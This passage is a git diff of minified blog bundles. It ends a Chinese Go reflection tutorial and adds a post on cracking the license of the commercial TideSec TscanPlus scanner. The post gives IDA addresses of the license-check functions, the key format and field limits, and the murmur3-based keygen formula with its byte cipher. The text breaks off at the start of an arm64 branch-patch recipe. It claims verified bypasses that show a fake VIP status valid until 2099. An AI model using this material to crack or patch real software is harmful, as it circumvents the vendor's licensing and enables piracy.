[]reflect.Value{}\n\t\tv.Method(i).Call(args)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",children:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5c04\u662f\u4e00\u4e2a\u5f3a\u5927\u5e76\u5bcc\u6709\u8868\u73b0\u529b\u7684\u5de5\u5177\uff0c\u80fd\u8ba9\u6211\u4eec\u5199\u51fa\u66f4\u7075\u6d3b\u7684\u4ee3\u7801\u3002\u4f46\u662f\u53cd\u5c04\u4e0d\u5e94\u8be5\u88ab\u6ee5\u7528\uff0c\u539f\u56e0\u6709\u4ee5\u4e0b\u4e09\u4e2a\u3002"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u57fa\u4e8e\u53cd\u5c04\u7684\u4ee3\u7801\u662f\u6781\u5176\u8106\u5f31\u7684\uff0c\u53cd\u5c04\u4e2d\u7684\u7c7b\u578b\u9519\u8bef\u4f1a\u5728\u771f\u6b63\u8fd0\u884c\u7684\u65f6\u5019\u624d\u4f1a\u5f15\u53d1panic\uff0c\u90a3\u5f88\u53ef\u80fd\u662f\u5728\u4ee3\u7801\u5199\u5b8c\u7684\u5f88\u957f\u65f6\u95f4\u4e4b\u540e\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5927\u91cf\u4f7f\u7528\u53cd\u5c04\u7684\u4ee3\u7801\u901a\u5e38\u96be\u4ee5\u7406\u89e3\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u53cd\u5c04\u7684\u6027\u80fd\u4f4e\u4e0b\uff0c\u57fa\u4e8e\u53cd\u5c04\u5b9e\u73b0\u7684\u4ee3\u7801\u901a\u5e38\u6bd4\u6b63\u5e38\u4ee3\u7801\u8fd0\u884c\u901f\u5ea6\u6162\u4e00\u5230\u4e24\u4e2a\u6570\u91cf\u7ea7\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/c9001ee2.8ba48f0c.js b/en/assets/js/c9001ee2.8ba48f0c.js new file mode 100644 index 0000000..dfcde6a --- /dev/null +++ b/en/assets/js/c9001ee2.8ba48f0c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9028],{28453:(e,n,d)=>{d.d(n,{R:()=>i,x:()=>l});var c=d(96540);const s={},r=c.createContext(s);function i(e){const n=c.useContext(r);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),c.createElement(r.Provider,{value:n},e.children)}},70113:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>x,contentTitle:()=>l,default:()=>t,frontMatter:()=>i,metadata:()=>c,toc:()=>h});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3/01.TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/12.\u9006\u5411\u7834\u89e3/01.TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a"},"next":{"title":"\u66f4\u65b0\u65e5\u5fd7","permalink":"/en/docs/\u66f4\u65b0\u65e5\u5fd7"}}');var s=d(74848),r=d(28453);const i={},l="TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3",x={},h=[{value:"0. \u6837\u672c",id:"0-\u6837\u672c",level:2},{value:"1. \u6388\u6743\u67b6\u6784\uff08IDA \u5b9a\u4f4d\uff0c\u6837\u672c A\uff09",id:"1-\u6388\u6743\u67b6\u6784ida-\u5b9a\u4f4d\u6837\u672c-a",level:2},{value:"2. \u65b9\u6cd5 B\uff1a\u5206\u652f\u8865\u4e01\uff08\u6837\u672c A\uff0c\u5df2\u9a8c\u8bc1\u53ef\u7528\uff09",id:"2-\u65b9\u6cd5-b\u5206\u652f\u8865\u4e01\u6837\u672c-a\u5df2\u9a8c\u8bc1\u53ef\u7528",level:2},{value:"3. Keygen\uff08murmur3-32 seed 0 + nibble \u6298\u53e0\uff09",id:"3-keygenmurmur3-32-seed-0--nibble-\u6298\u53e0",level:2},{value:"4. \u8fd0\u884c\u9a8c\u8bc1\uff08\u6837\u672c A\uff09",id:"4-\u8fd0\u884c\u9a8c\u8bc1\u6837\u672c-a",level:2},{value:"5. "\u628a Vip\u72b6\u6001 \u8ba4\u8bc1\u5230 2099 \u5e74" \u2014\u2014 \u6837\u672c A \u4e0a\u672a\u95ed\u5408\uff0c\u539f\u56e0\u8bb0\u5f55",id:"5-\u628a-vip\u72b6\u6001-\u8ba4\u8bc1\u5230-2099-\u5e74--\u6837\u672c-a-\u4e0a\u672a\u95ed\u5408\u539f\u56e0\u8bb0\u5f55",level:2},{value:"5.1 \u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",id:"51-\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",level:3},{value:"5.2 \u8bd5\u8fc7\u7684"\u76f4\u8def"\uff08runtime.printstring\uff09\u4e0e\u5931\u8d25\u539f\u56e0",id:"52-\u8bd5\u8fc7\u7684\u76f4\u8defruntimeprintstring\u4e0e\u5931\u8d25\u539f\u56e0",level:3},{value:"5.3 \u6837\u672c A \u4e0a\u82e5\u4ecd\u8981 2099\uff0c\u53ea\u6709\u4e24\u6761\u8def",id:"53-\u6837\u672c-a-\u4e0a\u82e5\u4ecd\u8981-2099\u53ea\u6709\u4e24\u6761\u8def",level:3},{value:"6. \u590d\u73b0\u6e05\u5355",id:"6-\u590d\u73b0\u6e05\u5355",level:2},{value:"7. \u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\uff08\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e\uff09",id:"7-\u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e",level:2},{value:"8. Windows \u7248\uff08\u6837\u672c C\uff09\u2014\u2014 IDA \u91cc\u770b\u4e0d\u5230\u51fd\u6570/\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",id:"8-windows-\u7248\u6837\u672c-c-ida-\u91cc\u770b\u4e0d\u5230\u51fd\u6570\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",level:2},{value:"8.1 \u4e3a\u4ec0\u4e48 IDA \u7684 IDB \u662f\u7a7a\u7684",id:"81-\u4e3a\u4ec0\u4e48-ida-\u7684-idb-\u662f\u7a7a\u7684",level:3},{value:"8.2 x64 \u7248\u65b9\u6cd5 B\uff08\u957f\u5ea6\u4e0d\u53d8\uff0c\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\uff0c\u4e0d\u9700\u8981\u91cd\u7b7e\u540d\uff09",id:"82-x64-\u7248\u65b9\u6cd5-b\u957f\u5ea6\u4e0d\u53d8\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\u4e0d\u9700\u8981\u91cd\u7b7e\u540d",level:3},{value:"8.3 \u5728 Windows \u673a\u5668\u4e0a\u7684\u5b9e\u6d4b\uff08ssh admin@192.168.1.120\uff09",id:"83-\u5728-windows-\u673a\u5668\u4e0a\u7684\u5b9e\u6d4bssh-admin1921681120",level:3},{value:"8.4 \u56de\u7b54"web \u91cc\u8f93\u5165\u4f2a\u9020 key \u63d0\u793a\u65e0\u6548 key"",id:"84-\u56de\u7b54web-\u91cc\u8f93\u5165\u4f2a\u9020-key-\u63d0\u793a\u65e0\u6548-key",level:3},{value:"8.5 2099 \u5728 Windows \u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\uff08\u5df2\u5b9e\u6d4b\uff09",id:"85-2099-\u5728-windows-\u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\u5df2\u5b9e\u6d4b",level:3},{value:"9. \u8de8\u6784\u5efa\u8865\u4e01\u70b9\u5bf9\u7167",id:"9-\u8de8\u6784\u5efa\u8865\u4e01\u70b9\u5bf9\u7167",level:2},{value:"10. \u8e29\u5751\u8bb0\u5f55\uff08\u8fd9\u4e9b\u5751\u6211\u90fd\u5b9e\u9645\u8e29\u8fc7\uff09",id:"10-\u8e29\u5751\u8bb0\u5f55\u8fd9\u4e9b\u5751\u6211\u90fd\u5b9e\u9645\u8e29\u8fc7",level:2},{value:"11. \u8fb9\u754c\uff08\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230\uff09",id:"11-\u8fb9\u754c\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230",level:2}];function j(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"tscanplus-\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3",children:"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-10-18 19:35:21"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u7531\u4e8e\u4f20\u64ad\u3001\u5229\u7528\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u800c\u9020\u6210\u7684\u4efb\u4f55\u76f4\u63a5\u6216\u8005\u95f4\u63a5\u7684\u540e\u679c\u53ca\u635f\u5931\uff0c\u5747\u7531\u4f7f\u7528\u8005\u672c\u4eba\u8d1f\u8d23\uff0c\u516c\u4f17\u53f7\u53ca\u4f5c\u8005\u4e0d\u4e3a\u6b64\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\uff0c\u4e00\u65e6\u9020\u6210\u540e\u679c\u8bf7\u81ea\u884c\u627f\u62c5\uff01\u5982\u6709\u4fb5\u6743\u70e6\u8bf7\u544a\u77e5\uff0c\u6211\u4eec\u4f1a\u7acb\u5373\u5220\u9664\u5e76\u81f4\u6b49\u3002\u8c22\u8c22\uff01"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u7ed3\u8bba\u5148\u8bf4"}),"\uff1a\u8fd9\u662f",(0,s.jsx)(n.strong,{children:"\u7ed5\u8fc7 + \u663e\u793a\u5c42\u6539\u5199"}),'\uff0c\u4e0d\u662f keygen \u7834\u89e3\u3002\u6388\u6743\u8bb0\u5f55\u8d70 ECDSA\uff08\u4e8c\u8fdb\u5236\u91cc\u53ea\u6709\u516c\u94a5\uff09\uff0c\u6fc0\u6d3b\u7801\u65e0\u6cd5\u79bb\u7ebf\u4f2a\u9020\uff1b\u8bb0\u5f55\u8fd8\u7ed1\u786c\u4ef6\uff0c\u8de8\u673a\u5668\u4e0d\u53ef\u590d\u7528\u3002\u4e0b\u9762\u6240\u6709"\u7834\u89e3"\u6307\u7684\u662f\uff1a\u8ba9\u6821\u9a8c\u5206\u652f\u6052\u4e0d\u89e6\u53d1\uff0c\u8ba9\u754c\u9762\u663e\u793a ',(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"})," \u548c\u4e00\u4e2a\u5047\u65e5\u671f\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"0-\u6837\u672c",children:"0. \u6837\u672c"}),"\n",(0,s.jsxs)(n.p,{children:["\u56db\u4efd\u6837\u672c\uff0c\u540c\u4e00\u5957 garble \u540d\u5b57\uff08",(0,s.jsx)(n.code,{children:"B0Uu8RPrb2"}),"\u3001",(0,s.jsx)(n.code,{children:"O7rc6qW0L"}),"\u3001",(0,s.jsx)(n.code,{children:"Tmfc2rYXRKJT"}),"\u3001",(0,s.jsx)(n.code,{children:"CSfeFGrv"}),"\u3001",(0,s.jsx)(n.code,{children:"RVNs3NL5L"}),"\u3001",(0,s.jsx)(n.code,{children:"XrgIp0N_yO"}),"\u3001",(0,s.jsx)(n.code,{children:"UNXx_ve6"}),"\u3001",(0,s.jsx)(n.code,{children:"Ju1zV6nVMwrMz0"}),"\u3001",(0,s.jsx)(n.code,{children:"PKVcmcz2RL7Dh"}),"\uff09\uff0c\u4f46",(0,s.jsx)(n.strong,{children:"\u5730\u5740\u6bcf\u4efd\u90fd\u4e0d\u540c"})," \u2014\u2014 \u7528\u7b2c 9 \u8282\u7684\u8868\u9010\u4efd\u5bf9\u7167\uff0c\u522b\u628a A \u7684\u5730\u5740\u7528\u5728 B \u4e0a\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7f16\u53f7"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u6837\u672c"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u683c\u5f0f"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u7248\u672c"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5206\u652f\u8865\u4e01"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u663e\u793a\u4e32\uff082099\uff09"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u5b9e\u6d4b"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"A"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"/tmp/ctf/tscan_plus"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Mach-O arm64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.3"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2717\uff08\u8fd0\u884c\u65f6\u89e3\u7801\uff09"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"B"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,s.jsx)(n.code,{children:"TscanPlus_Mac_Amd64.dmg"})," \u5185 ",(0,s.jsx)(n.code,{children:"Contents/MacOS/TscanPlus"})]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Mach-O x86_64"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["\u2717\uff08",(0,s.jsx)(n.code,{children:"\u672a\u8ba4\u8bc1"})," \u65e0\u4ee3\u7801\u5f15\u7528\uff09"]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Rosetta\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"C"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Amd64.exe"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PE x86-64\uff08UPX\uff09"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.3"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Windows \u5b9e\u6d4b\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"D"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:[(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Arm64.zip"})," \u5185 exe"]}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["PE ",(0,s.jsx)(n.strong,{children:"x86-64"}),"\uff08UPX\uff0c\u6587\u4ef6\u540d\u8bef\u6807 arm64\uff09"]}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"3.5.4"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"\u2713\uff08Windows \u5b9e\u6d4b\uff09"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ea7\u7269\u4e0e\u811a\u672c\uff1a",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack/"}),"\uff08A\uff09\u3001",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack_win/"}),"\uff08C\uff09\u3001",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/patch_*.py"}),"\uff1b\u6253\u5305\u5728 ",(0,s.jsx)(n.code,{children:"~/Downloads/Tscan_Plus_3.5.4.patched_all.zip"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9879\u76ee\u4e3a TideSec TscanPlus\uff08Wails GUI\uff09\uff0c\u6388\u6743\u903b\u8f91\u5728 ",(0,s.jsx)(n.code,{children:"TscanGui/conf"})," + ",(0,s.jsx)(n.code,{children:"TscanGui/internal/cli"}),"\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"1-\u6388\u6743\u67b6\u6784ida-\u5b9a\u4f4d\u6837\u672c-a",children:"1. \u6388\u6743\u67b6\u6784\uff08IDA \u5b9a\u4f4d\uff0c\u6837\u672c A\uff09"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u4f5c\u7528"}),(0,s.jsx)(n.th,{children:"\u51fd\u6570"}),(0,s.jsx)(n.th,{children:"\u5730\u5740"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"CLI \u6388\u6743\u95f8\u95e8\uff08\u771f\u6b63\u6821\u9a8c\u5165\u53e3\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TscanGui_internal_cli.runLicenseCheck"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a89330"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"Key \u89e3\u6790 / \u5b57\u6bb5\u6821\u9a8c"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047ad30"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"Key \u683c\u5f0f\u6821\u9a8c"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.Tmfc2rYXRKJT"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100476d10"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:["\u7b7e\u540d\u6821\u9a8c ",(0,s.jsx)(n.code,{children:'B7CIv4PLX("phase3", f1) == f4'})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.O7rc6qW0L"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047a2c0"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:["\u65f6\u95f4\u5b57\u6bb5\u6821\u9a8c ",(0,s.jsx)(n.code,{children:"f3 < 1797379200"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.PKVcmcz2RL7Dh"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047fc10"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"murmur3-32(seed 0) + nibble \u6298\u53e0"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.B7CIv4PLX"})," / ",(0,s.jsx)(n.code,{children:"conf.XSMB4O0fIIE2W"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x100476a70"})," / ",(0,s.jsx)(n.code,{children:"0x100470c90"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u786c\u4ef6\u6307\u7eb9\uff08sysctl CPU \u54c1\u724c + \u7269\u7406\u7f51\u5361 MAC\uff09"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.SOPBYsgV"})," / ",(0,s.jsx)(n.code,{children:"conf.Z5NrYd0V4gEq"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1004809c0"})," / ",(0,s.jsx)(n.code,{children:"0x100480a70"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u5d4c\u5165\u5e38\u91cf\u81ea\u4e00\u81f4\u6027\u6821\u9a8c"}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.CSfeFGrv"})," / ",(0,s.jsx)(n.code,{children:"conf.RVNs3NL5L"})]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1004ab7f0"})," / ",(0,s.jsx)(n.code,{children:"0x1004ad068"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u8fc7\u671f\u5224\u65ad\uff08\u6c38\u4e0d\u8fc7\u671f\u8865\u4e01\u70b9\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.Qwprp5uSfv32rKY"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100439230"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u7ed3\u679c\u6807\u5fd7"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.XrgIp0N_yO"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100451b70"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u663e\u793a\u5b57\u7b26\u4e32\u6765\u6e90\uff08\u8fd0\u884c\u65f6\u89e3\u7801\uff0c\u4e0d\u53ef\u9759\u6001\u6539\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.UNXx_ve6"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047f900"})})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["Key \u683c\u5f0f ",(0,s.jsx)(n.code,{children:"f1.f2.f3.f4.f5"}),"\uff0c\u6b63\u5219 ",(0,s.jsx)(n.code,{children:"^\\d+\\.\\d+\\.\\d+(\\.\\d+)?$"}),"\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:"f2 \u2264 30000"})}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"f3 < 1797379200"})," = ",(0,s.jsx)(n.code,{children:"0x6b21d480"})," \u2192 ",(0,s.jsx)(n.strong,{children:"2026-12-16"}),"\uff08\u6211\u65e9\u5148\u8bb0\u6210 2027-02-15\uff0c\u662f\u9519\u7684\uff0c\u8fd9\u91cc\u5df2\u6539\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"f5 \u2208 0..5"}),"\uff08\u80fd\u529b\u4f4d\uff09"]}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:'f4 = fold(first8digits(murmur3_32_seed0("phase3"+f1))) ^ 6'})}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6838\u5fc3\u5b57\u8282\u53d8\u6362\uff08\u53cd\u6c47\u7f16\u9a8c\u8bc1\uff09\uff1a",(0,s.jsx)(n.code,{children:"out[i] = ROR(in[i] ^ (19*i + seed), seed % 8) ^ (seed + i)"}),"\uff0c",(0,s.jsx)(n.code,{children:"Yal9faJZY[i] = i*19"}),"\uff0c\n",(0,s.jsx)(n.code,{children:"seed(k) = DL1UvTAsmAyf4zI[k] ^ 158"}),"\uff08g0=0x7a, g1=0x3b, g2=0x2e, g3=0x5d\uff09\uff1bC \u7cfb\u5217 getter \u7528\u56fa\u5b9a\u79cd\u5b50 156/143/125/126\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"2-\u65b9\u6cd5-b\u5206\u652f\u8865\u4e01\u6837\u672c-a\u5df2\u9a8c\u8bc1\u53ef\u7528",children:"2. \u65b9\u6cd5 B\uff1a\u5206\u652f\u8865\u4e01\uff08\u6837\u672c A\uff0c\u5df2\u9a8c\u8bc1\u53ef\u7528\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["arm64 \u65e0\u6761\u4ef6\u8df3\u8f6c\uff1a",(0,s.jsx)(n.code,{children:"word = 0x14000000 | ((target - addr) / 4 & 